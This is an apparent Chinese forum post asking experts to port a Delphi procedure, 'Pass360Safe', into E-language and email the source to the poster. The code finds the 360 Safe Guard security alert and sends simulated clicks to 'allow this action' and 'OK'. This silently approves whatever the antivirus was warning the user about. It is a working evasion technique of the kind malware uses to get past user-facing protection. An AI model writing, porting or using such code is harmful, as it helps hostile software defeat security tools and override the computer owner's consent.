DELPHI+易语言高手进

procedure Pass360Safe;
var
idid,hand,he:thandle;
begin
idid:=Findwindow('Afx:400000:0',nil);//获取360安全卫士的提示句柄
IF idid <> 0 THEN//当获得360安全卫士句柄的时候
begin
hand:=findwindowex(idid,0,'Button','允许此动作');//先获取"允许此动作"的选项句柄
if hand<>0 then//获得"允许此动作"的句柄
begin
postmessage(hand,wm_lbuttondown,0,0);
postmessage(hand,wm_lbuttonup,0,0);//将选项确定在允许此动作上
he:=Findwindowex(idid,0,'Button','确定');//获得"确定"的句柄
postmessage(he,wm_lbuttondown,0,0);
postmessage(he,wm_lbuttonup,0,0);//自动点击确定
end;
end;
end;

帮忙将以上DELPHI代码 写成易程序 然后源码 发到我邮箱里 631440815@163.com